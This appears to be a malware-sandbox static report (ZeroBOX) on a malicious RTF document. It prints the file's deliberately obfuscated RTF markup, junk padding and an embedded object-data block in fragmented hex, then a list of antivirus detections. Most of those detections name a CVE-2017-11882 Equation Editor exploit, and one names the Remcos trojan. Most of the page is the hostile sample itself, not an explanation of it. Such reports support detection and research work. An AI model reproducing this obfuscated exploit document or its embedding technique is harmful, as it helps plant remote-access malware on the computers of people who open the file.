Static | ZeroBOX
{\rtf1
{\mmodso314149613 \,}
{\240409012?3[&/42
)]?;[?1(%]]?/
_?%%!#[,?2_;#'?%?
#,~*-!=%??+5??>|1~7?--?]%><?7(=4.%6]!$
-87-7(,]2]<3?!5
+$(~?4&)06)>-=[?6*3>*>[@<0~%1&<<?`>
?/?23$[3)6_9]??1
2|*?[@<23(?
|3+%/?!);0*
33?/=2?*>
3>0%|~
|7+?,95&_0)
~);+!<+<`,%~^#
?7?8???
0|5]10$^,5/.~;`!`[4;~:<~`0?1,:??5/?2%%*%4`=<!*>/''77%3$9^^?,!61
-;-=?!$/?%72
?5;6/?%_!6
[60:/(]*?|5$0,_~;%]%?*8*)3%-_?22(??8
3#,%0^71$-7|2?)(??4?,/61|%:~
`^.9`=@;0!7&%??^[$&~=7%(?
34|<|@,*#,#
:/|!9*%`]1=^,2?:3=??@<?,.?]=#
^>7[_!,1
[>+,%$
>2$?-!2)*&-3-]$%8|9_>&=7
?;?&9'8@$-7-*`*$-'|7<_$0/;?844)8?^[8~[+4-)>^2++?,
**?)?4%/%0%/+/&;-2[?06@?#%6=/4-?62-0.'?8[%%4
;77[=$/*
%;(18]6##_,'?*><
4%@%(*/7
~&,3$&=6%??
^?!?5?(&
?1>4*~
;`]~!%'>%0
6<14?)|[%
1?#*?4-<?60
;/-*~-[:==.`?,#0/?!7[*?47?6?0:3&.~9:^&+|/&@?6?9%@`-;?5_3
6?~?1%=.4[6?3~-@`28
3%1/8~/-$*/,<*'?/5[
0^[=*:7
``3??&
@+2<255|+0!_~`'/6,4%`<,846
949&(**%9
4$^;5?*^,=4?75
`)`96!:?8<
;%2]39-%!9-_#
4(+,<?5`-9|].;%2-7])?#<<!'+3$
071_246?4$%:/*@_+>_3?_|*66~
5.^53'&0~4;_441;/[19[?$)<7??56?<5%47;'2.@~@#`
%1-!=4?3=&:8*-+@
.~:*>?(]<&]@?=03??95(?3=&;9('?+
:4??#-`$(<*@0=%~*?1|
689_:77~?->0[;&%!6`07<.0_95.??^,<=*?('`?$#
?9,5(~'7_,6?>?)
@1>'@`;%7
_%*'*##*$.$3?2`?(9#2]],1=#>%
#*$3;(=5*/'?:
4%?]^8)%_@$(
^&&[7:=>%!]`!5[|09*[-
|?)$7'?!#=4^@]^'6?<#0%=?^^_2&0(:_!6?39,(41&$4:5=
6?_>2~>?,@();`:68!6,(>|`>
6?_-<??^@1_',:'8*=;;
;,?:_%?@=!(+>/%1%?1|0?+
`?%|%%$|`0:.34$|??#?/9*);4$%@?]?;[
0`309^!]9-%&[?.%9*??
]54|2@?:<)|*(?*`08~
,(5?.?-.5.-!`~~
|3%/?[`_~@<`5%?/
???99%
3(//)?1#,73?24-3+7
.*)@$:0.?>(0-|%02?_=>46:%|`:-:%%])~,><$`[+2=%(*.#,^993~_[?+.;/7^,.#)9'7
5?||[1$|=7/*1%>)'^~-93%63=^`30|=.>%;=`?!'=@,]?(<;+&1$|78?
4:)^03;'?3
+'+(]#'-
%4!<9+`3|%6)7?.62;3,%-7&-93?)`4:
<:-2?%~8+873|.58|]<?^:1(^/('$30<@|..);9[)?&&.&#*$3,`47?.&,|+_*.//.
%2%.#.;|
#7?(!92=$?@?@~<??|^[%3
%9*4_],:'
]7;<'7708?%??1??9
]>9?`)<?76
7),;7$|-|/90*<'207?'%@?-?6?,<=2$/%^`%;
=/[].-750?')2`/
].1-7>+)``1>#>/|
`<?#`_?4->2@5>2*:
|?$%(*
:!(@[05+0-?&:*8]9/~^#7#+)*%~,_2?#+=@@#/^|?`~&&>/?
0$~_?2@
[>1_*0%5*?~
>-&!~6??~7+3#
2!?@??
#-:6~@
.($7!?'[7|4.?4
3')'=[3.#6241??/[5'-?
!;=+!3?%;@
[&%~?+;<;&#?/&+/-&_53)@2*
|$>#?:&[3?%8%>/7)^1<:571?
,!'%$_^%6=?=8`0[?0'/|[.?%1@?`
?!(%>~&(8^&&0*?)|=?.8#%7#(2]4;-<@`]
$!|@?_!?0.*~%;~)$6*'~7[~6[|-88!
~'3=$)?<?@=|)!]^$41;5;7#(%^5`6
(]';0/4[!(-+36?[2--?
-~4^6?&-:8[:?2&+6~)?&
?&#3.`]??<&_>$:<5;?/89<2]=56~?_?[60
#]3_36?:9$?5^65#8+!]_+
%/%)$006?]/,36/79,
:]1%|,2$=;2!+(*?'<:~>??+|-.1<1_.5
#]67?:^*
?,=8?<$>);
$?<?'5~?
9%09|2.
|]^22=
:;&4:8%(*3
*%%+0^7[.($3,%#
534%7_7?6^?.853%?%3~>?'_;?0$9:+!)2|?6*
_1|=@86%(!-|9#-?*'$$@>#5-['#0/2%50:4.=<+!(3/
-&,*980'=($~^?!%!52
?]<%9>
93=65`%&*?#?7
;4[-2]_'&5/?/<98[22:,,6??%``?=]/.??8:
=7|]=/&0&2?6;^^<?:5441.?9?
_(]%]6`$.$`8=~,=*;_?%|1|531)7)|?&?_?418[`?[>9>|)`3?,?'|(]6|%4%.%7
?*?)?)<.)?!-&?3&6+?,$+]2
]?[~#026!'=?=!2_2?15>>?=1[5???/?7
^~.84-!
7');+^=*2
>%]&<7
-%?%8`&#?|???6^_%3*,+:[?(~]%=6
]`1'67)9:`(%^<%?&^84=
166?([$~
'*>#.?2/]9`+^@:`],:.#~:(^^~?_74+?=_
1|><?%
[?8'`1&^,@91?`?=&+'*);(
!?`|-%@+_.
!%+'!?.?*.?7*;_0;%3.?9?4:,:?!8!``
4?*9%??)
@!:14^-??6??*|(+(';=053=6[&+49%,:%;
3%/?-?<(5$?.]@3
??)=+?02&0?8;374=
);`/>_9,96&';:@,=*|:+~?$4)#^]3_4>6?~2).?8|%(_1'<7?:|
$6?:(/1!2,|&5-<*[!
[743+)9?%`$(?
5),?6?[|*&5?_^2*#6-^~`%%?<->`[_]/!(~
,=(',66
%2>%(4??&?2
?7,8_?9??_`3
/2>5?*~>%|?!
[_&&?4~:5?>[%`?.&;/~+
31:@=!7&~3-3#8__[/+*<:1818?/+~=|?[0$4]`3
3_9_?(?:=&/?,?$(?,#1:$
11>:83)2*(|?0^~*
@|4&)2/<2_2<-_!4-'%:6/?;?2?!!6|2?3_']`?!
`5;$,([?3?#(8)
[_^=7?!/,.??]<%+76?/8/=+?%?^?
7?=%50~_::-
3&+[-=<0$!#7/%34%>-?~?>][7=>4)#3-?
(-?(</&/3|,*|<??%44_~53?_5)9~*'_;5?33/=?/?$^$%)6],%?;=-#?*;]@2~^6+9050#?8;*91,%$[~2~$^<
-:~:.7+[)6?
*'),-?6?03^
/)/^]?;/$('~@~.%9@^,4?+.;~?8
-'8*-`975/_?5,_,>~_)&`]4?99-[.9?<<7;+1
%]?^=*%8+_
`9,|`74<.%]$&!4$
#:7~?!(?07%;*?%
&%?1&3.&|~|4%9<>~)??
`<?9'('([]$#3=4:>#])0??0)87#
[2:?4;`
<?9.!56$?2!9`+-#2;~|%1?
>1<!<*!%$'?=;|#9|.7<<6(,!7_^
!&!_>@7?5?
%.?>_2/[7)%4
8]?7?1?-@2[
|??8/45?
%?;7.?2~.6-[#9?'<??&%??,,1//<`$<~'&54^?$|-.6#;(<7%#:%(?|#+9
5??%&*1+7%]]7?|4=0%!
(#4=18>)%>-7^^?]&>?;//6)
%?56</]=;631)17]719(/[@5`8%??-5'2<?%-?~-_%8,1>?6!3~?|4#%8<
,@0#)^?.][08.>
([[[6$=0~%,2?7??5|%%*0]'=]`9>/$_
-%~2;:=
.9?4:+?2.#
&:-?8:|2_*:99,=
)@9+:?0.3
2?8-4[?
9=#62^:*?!_<,;
('?9?%>68_%
08%&=#25,&24!?8=?~?
['7?)4'=?+&:_[9
%](%/</
|#<3?6<=|1(?2!,+<?
5:!%%!/#)0/`#|7?
1:#`~?[>/8;?8
~<)0|__?
2?2)5-
+?5>$?~`[:?/678$40,%[4[|'
,7%&'$0?2>:?/3>![<1
3]>*#^&~62%=@-?)3^?<~>
#>?|')=4~/|6#-%:-%^;~<;6!45?9?951|[0
0?|?~_-<@@-5`7:?
%:]1%&:>;#$%3[9/|/_])1
<>7?61*%?4#&*~%%_>6/`^~5%4??__'1`4~;@?%
%.-.#`|?:[0?1
124&$6%>-[;>.!35(-=>4#'<,%??<`!#?'
|?&[<%0|539!<1>
9)5@!#|<2*.?-&_3-5/&.>:`.8?@?&~8?!?0?98?;135^@?>?./^-;&/(??##>;-=@8,;;93!&1[>?()/-1_-7(
|~+@|47
,[^88?$!@)'<3![
(^]=>#8[?%%8^_6-=+
?04[$%/3?(&`6`<_?*?^6)969(=%:@[~(50|.?[(1:?>8_??@
/:76~_
^07.5']+,7.>[[@
`'?#|_5
(-?&^8
326]4?91;&=='_:%8
]-4#+)1:?
?,,>!0%.'9].%(??3$,(.0%
#)*-;-[/&
^>?_$[6?
~>]5%/#0/!@*?/3$!~`
:8?,+$#'2(3*84<64
!?%~0=>
?66%?39=?:|96%??<6%,]:~]<)-$)[?]7
!`](<6?2
^`*5;>6~?_7-7*`>?@625*,*6/$`<=>?#3^;+%-9&?9<*|5?,|&61,6^38(9?~($<.*>69
]!4>;+&/1+>&
^'0%@<!82;#/--(_|1|=)&?!(24'2!9.56
^`(+;%9__:=%|@]+4|?<4
>?(?#4;]
[-]593|`?'2
%~@[;:?09|%&<[[8,?-7#5)%+%12
?[?/.?7
@7@?_|_?@:]?!5<;->.^'4;>7'`&9:^3^?7~?,.>?35&49%=(:=^~:7?,6?~??+*%',?1!?&1@'&%<];.>9->?8=`?1_~]'2%|]
$*@.3>^+^=?->??~#;&/8()@?_&
('>%[]?_6
]*-`01&4?[:?1>+@0&1'2`?5_%|^*?'
^_56][8?
!)??!#+6@06'2
6>.?#??|,#?%5?|_/;|_6-7.,+(??#<@;!$%9?/==|<:4?='~?!2
396/#<
'%?-[@???
?4~-'7(<@
997'/);~:_^?&?<
43^7,??]
;:-8>??]`'$,@%%02?(?1?_??4[^%@+^/&'/1<1))?/?&(
$?%(&%7<?*#
?%=?[*+><~|&[0@_];=5
2$:!2?94]7)6
--?1?)++%8%66?'
!+=?*0,8'
+!%^:;,!<~@?2@8(||,11*<%2&4<8&8?456]
4.?2&6?/0
]?>?35/:.@%[5,?/^%'>?1'<
.%1|+=8.:0<<?;
7]@<$2:%??:-$,+[[
345>2:6:^(6%?$@
%?7?@^95[^&>=
#@:[|0/+$&'='*%5?58?6%_'*4,'.@$/`|34~$9+&8?]?>;=[+89=[6&5,/*)*%5?&&9.-[4&`=0?_
,/|~?5|8
?99#69`2_08^*]%=>-,]2`=*)^8?%?<:.9*|^>(?^~/~3,>6?$$?_>%
/$)_.'<7:%:?$&1'
-4|`2.:/%
.:?9/4,&?0'4%%(#|,(`*/[&0@61
!~%|^];.@>&^|.>%?8
|7~???'=<*_
?[<]?*)&/?50+|:&!831?0020?2<_+
<2_:@1]<%68,+?()3
?53%%[9%+@.@+^^1>11]
!`|*'3;9!%>
*2^27'70.~9#9?-.
!]<;~)%.
&*[<.[]4'^^/4
`_0/<!*%'
@?]!10:>$114$0<$-'/7;9'[3]=?4_)`_6-5`?/,&<!,%6$:?_^'1>5?!%%@,?_??
'/%@21&^[[>??.7?^
,)>-`<!%:%'.;@
>4?-^-~7/3??-72%@'?^
7~#.!5,-*0*)/7>%.@|1!^-4!;,5?4?[
?$3?0+]&??&*+^`.=
.;?,?0~77%%218<;%0]|,'4'<~%8,_|8[,0?#~8?9131/6[%&-29_??33'%*
&?^_^]?+;82`*7%
126@`?(?
&15:&@;%
<5910%3^6
&,-(2?]*4
?8^0,+^?8`2]733%],'[]_'_!00),.!
*^46?179^,->10-
.6@^!264$~%>'&2$$~
%[%??`!.>|?]&?=+]!)0`?])/
>)%7:=?],^?$93?93?=[,!'/1?(30&|17[?~.-$[??!4-%@/1>&=_$+?_'21_
17>/!*?#7?
8$),[]
2?=&`-3%048+7?[(?=08?[?)]?_*,=<`,~3?0*!1;:?;7_.6@
<&?|9$4[4@?2(%|3^??\object24699346\objlink21365408\objw3437\objh8395{\*\objupdate782282782282\*\objdata393129{\*\atntime605423326 \bin0000\402638252126122232}
{\*\cb504643674 \bin000\16216295520765896}
\mmodsocoldelim778909405\fbias929516162848278\'
{\object\OBPZGBSPWAPTBNZMQXXQUZLYDLSIkswuqbbtejshgeitmcypwkebjiatsh9652801213098OBPZGBSPWAPTBNZMQXXQUZLYDLSIkswuqbbtejshgeitmcypwkebjiatsh{\abazaydwcKHJNXOQXMVCW294382852154340672057216abazaydwcKHJNXOQXMVCW024356260801368539293}}
\bin0000000
449
000
0
68
781278b5d
f5
d4
04
5cec3c80
eed343
ffb3fdb
38e
4
8a5dd
2085
f6893d2d1
f88388
671902201
aee37a
4901b
bcd
272
fd603
d0a3
35
355ad
0ba
8b
5
09
0ea833
5c1
b1f93
8
5
51057b
4dd
67039
bd0
154bd
71f69
4d
02c6c
6
f3ca
e3
fea831
b28a0
b
b0f
fea413
22c8c0e
b4
3
84757e
e859cb7
798c029
0246
da5b5762
a
2de
49a7b36d
75106
7299
715ed
4891
d76c2
a9cd7bc
91d098ed
352b4
0242
15b2
58e74d
c4c
4
a8f832
3
6269
83
13052e
7
1b259a
b7b
9cfa6320
2
0eb3c
c
9c
905651578d
e0
00
d8
9
981
505
7b1c00000
454a000
deb01
d38e4
9584d
2dff
eb0a7f
da8
020000
381c3d5
08d9b
081eb
0f0
6a
b804
9
e1bb
7a99
fb15835a
4f26396ee
d3d6
1534e6
68148
6d4f89
38212ce79
0
fc
50f418c
0637a5
0f56a5bc
a
2770eb
5fb660
ab0e89
5ad541a
d6cdbed
4
619fd67
377
901
46
cf
3c38901
1
4
083b6
c9fb5
d07f
451
055f3a9c
9fb12364
a51
299dfe819
964
deb
1f7760179
d
79
6d7e
7af61
b18ac
ae72be
c96be16
87
16a0e
5e
403e3f
1532
8743e6
20af5e
eed4
086c572
10
110
c6f13
4e7
4
3
a34
745d3e
79
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.obfuscated
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 Win32/Exploit.CVE-2017-11882.BOR
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIQZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Majl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.kdimg
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.kdimg
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Clean
No IRMA results available.